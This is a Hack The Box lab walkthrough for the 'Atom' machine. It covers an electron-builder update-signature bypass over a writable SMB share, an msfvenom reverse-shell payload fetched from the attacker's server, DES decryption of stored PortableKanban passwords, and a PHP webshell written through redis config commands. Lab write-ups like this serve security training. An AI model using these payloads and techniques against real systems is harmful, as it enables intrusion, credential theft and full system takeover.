Hack The Box - Atom

info_card.png

Atom is a medium rated machine on HackTheBox by MrR3boot which got bumped from an easy rating to medium on its release day. In this walkthrough we first will abuse the electron-builder update system to get a reverse shell as a user. After that we will follow two similar ways to root both involving interacting with a redis service after finding and decrypting a password found in a config file.

User

Nmap

To start our enumeration of the machine, we begin with a full ports nmap scan, followed by a script and version detection scan on the open ports for a full picture on the attack surface.

All ports scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sudo nmap -p- -T4  10.129.132.110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 11:31 CEST
Nmap scan report for 10.129.132.110
Host is up (0.20s latency).
Not shown: 65528 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
443/tcp  open  https
445/tcp  open  microsoft-ds
5985/tcp open  wsman
6379/tcp open  redis
7680/tcp open  pando-pub

Nmap done: 1 IP address (1 host up) scanned in 1827.50 seconds

Script and version scan on open ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$ sudo nmap -sC -sV -p 80,135,443,445,5985,6379,7680 10.129.132.110
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 12:11 CEST
Nmap scan report for 10.129.132.110
Host is up (0.16s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp  open  msrpc        Microsoft Windows RPC
443/tcp  open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open  redis        Redis key-value store
7680/tcp open  pando-pub?
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h20m40s, deviation: 4h02m30s, median: 39s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-04-18T03:13:34-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-04-18T10:13:33
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.90 seconds

Web

Port 80 and 443 look most promising so we will start there. They both seem to serve the same content, which is a note taking app. You can download and install it on mac or windows, however this step is neither needed nor helpful to complete the machine, so we will just ignore it.

homepage.png

Electron-builder

Listing the smb shares next we see a Software_Updates_Disk share.

1
2
3
4
5
6
7
8
9
10
$ smbclient -L //10.129.132.110/
Enter WORKGROUP\jack's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Software_Updates Disk      
SMB1 disabled -- no workgroup available

Connecting to it we find a pdf and 3 client folders, also the whole share is writeable.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ smbclient  //10.129.132.110/Software_Updates
Enter WORKGROUP\jack's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Apr 18 11:58:47 2021
  ..                                  D        0  Sun Apr 18 11:58:47 2021
  client1                             D        0  Sun Apr 18 11:58:47 2021
  client2                             D        0  Sun Apr 18 11:58:47 2021
  client3                             D        0  Sun Apr 18 11:58:47 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 13:18:08 2021

                4413951 blocks of size 4096. 1361200 blocks available
smb: \> get UAT_Testing_Procedures.pdf

The pdf is a quality assurance documentation for the app downloadable on the webpage. The interesting part is especially point two, in which is stated all updates placed in any of the client folders will be checked and installed.

quality_assurance.png

There is a vulnerability in electron-builder which is described in this blogpost. Crafting a malicious yaml and exe, we can bypass the signature check in the install process by triggering a parse error in the signature verification script, placing a single quote in the filename. With this we are able to run an arbitrary exe on the target machine which is in our case a msfvenom reverse shell.

In a first step we create the reverse shell with msfvenom.

1
2
3
4
5
6
7
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.23 LPORT=443 -f exe -o gr\'em.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: gr'em.exe

We then create our latest.yml.

1
2
3
version: 4.0.0
path: http://10.10.14.23/gr'em.exe
sha512: rL9b7/1ZDB/4CH16GB7mwJmHGNmrHgN6zADFn9Td+pWINPYP5lakIHb8xcGg8U0EyzwZwV69cUHV++dWdNsj5Q==

The hash in the file is calculated from our malicious exe like in the blogpost.

1
2
$ shasum -a 512 gr\'em.exe | cut -d " " -f1 | xxd -r -p | base64 -w0
FalBnc5eihGRTHVNEm9m5ZCYe7Vo1+SmxpTyUM2Hk09UwZsnxYFjlxnbDeBLJ20PM2lsenR+aWg1fY6KimohJA==

Finally we set up a netcat listener and a python webserver on the specified ports and place the latest.yml in a client folder on the smb share.

1
2
3
4
5
6
7
8
9
smb: \client1\> put latest.yml
putting file latest.yml as \client1\latest.yml (0.4 kb/s) (average 0.6 kb/s)
smb: \client1\> dir
  .                                   D        0  Sun Apr 18 16:03:22 2021
  ..                                  D        0  Sun Apr 18 16:03:22 2021
  latest.yml                          A      147  Sun Apr 18 16:03:22 2021


                4413951 blocks of size 4096. 1359636 blocks available

After a short amount of time we get a hit on our webserver first.

1
2
3
4
5
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.132.110 - - [18/Apr/2021 16:05:15] code 404, message File not found
10.129.132.110 - - [18/Apr/2021 16:05:15] "GET /gr'em.exe.blockmap HTTP/1.1" 404 -
10.129.132.110 - - [18/Apr/2021 16:05:15] "GET /gr%27em.exe HTTP/1.1" 200 -

The revershell as jason follow’s seconds after.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sudo rlwrap nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.132.110.
Ncat: Connection from 10.129.132.110:56997.
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

whoami
whoami
atom\jason

C:\WINDOWS\system32>

Now we can grab the userflag on jason’s desktop and start working towards SYSTEM

System/Administrator

PortableKanban

There are multiple ways to get system or administrator on the machine, I will cover two of them in this writeup. Both of this ways start however with the PortableKanban directory in jason’s Downloads folder.

1
2
3
4
5
6
7
 Directory of C:\Users\jason\Downloads

04/02/2021  08:00 AM    <DIR>          .
04/02/2021  08:00 AM    <DIR>          ..
03/31/2021  02:36 AM    <DIR>          node_modules
04/02/2021  08:21 PM    <DIR>          PortableKanban
               0 File(s)              0 bytes

Inside the folder there is a PortableKanban.cfg file which contains an encrypted Database password for the redis server.

1
2
3
type PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,"DbEncPassword2":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChan
...[snip]...

To decrypt it we can modify the script from exploid-db to only contain the decryption function and feed it our discovered encrypted password like this.

1
2
3
4
5
6
7
8
9
10
import base64
from des import * #python3 -m pip install des

def decode():
        hash = "Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"
        hash = base64.b64decode(hash.encode('utf-8'))
        key = DesKey(b"7ly6UznJ")
        print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))

decode()

Running it decrypts the password instantly.

1
2
$ python decode.py 
kidvscat_yes_kidvscat

With this we can now connect to redis with redis-cli

1
2
3
$ redis-cli --pass kidvscat_yes_kidvscat -h  10.129.132.110 
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.129.132.110:6379>

Route 1 Redis Keyspace

Now the ways to system splits. We will first follow the one which seems to be intended.

Running the info command we see at the bottom of the output below # Keyspace, that there is one database with 4 keys.

1
2
3
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
10.129.132.110:6379>

We can list all the keys with KEYS * and print the key with ET KEY.

1
2
3
4
5
10.129.132.110:6379> KEYS *
1) "pk:ids:MetaDataClass"
2) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
3) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
4) "pk:ids:User"
1
2
3
10.129.132.110:6379> GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
10.129.132.110:6379>

We find a password for the administrator user which is encrypted again. However we can decrypt it the same way we did before only swapping the value for the hash in our short python script.

1
2
3
4
5
6
7
8
9
10
import base64
from des import * #python3 -m pip install des

def decode():
        hash = "Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi"
        hash = base64.b64decode(hash.encode('utf-8'))
        key = DesKey(b"7ly6UznJ")
        print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))

decode()

Running it gives us the administrator’s password this time.

1
2
$ python decode.py 
kidvscat_admin_@123

There are multiple ways from here to get a shell as this user on the machine. You could for example use psexec to gain a system shell. Since the second way involves a shell as system anyways we will use evil-winrm to connect to the machine as administrator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ evil-winrm -u administrator -p kidvscat_admin_@123 -i  10.129.132.110 

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir ../desktop


    Directory: C:\Users\Administrator\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         4/18/2021   2:28 AM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Route 2 filewrite => RCE as system

The second route also works with redis but it slightly different. With redis we have arbitrary file write in the web root and the webserver is running as system. This makes it easy to create a simple webshell in the webroot and get codeexecution as system

1
2
3
4
5
6
7
8
10.129.132.110:6379> config set dir C:\xampp\htdocs\
OK
10.129.132.110:6379> config set dbfilename grem.php
OK
10.129.132.110:6379> set grem "<?php system($_REQUEST['3474545cadd66826dade9d3d87e89feb']); ?>"
OK
10.129.132.110:6379> save
OK

Calling whoami on our webshell we see that we have indeed code execution as nt authority\system.

webshell_poc.png

All that is left now is to send the request to burp for convenience, change the request method, download and execute the nishang Invoke-PowershellTcp.ps1 reverse-shell from our webserver to get a shell as system.

webshell_burp.png

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.132.110 - - [18/Apr/2021 17:35:30] "GET /grem.ps1 HTTP/1.1" 200 -

Shortly after a hit on the webserver we get the shell as nt authority\system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo rlwrap  nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.132.110.
Ncat: Connection from 10.129.132.110:57270.
Windows PowerShell running as user ATOM$ on ATOM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

whoami
nt authority\system
dir \users\administrator\desktop


    Directory: C:\users\administrator\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         4/18/2021   2:28 AM             34 root.txt


PS C:\xampp\htdocs>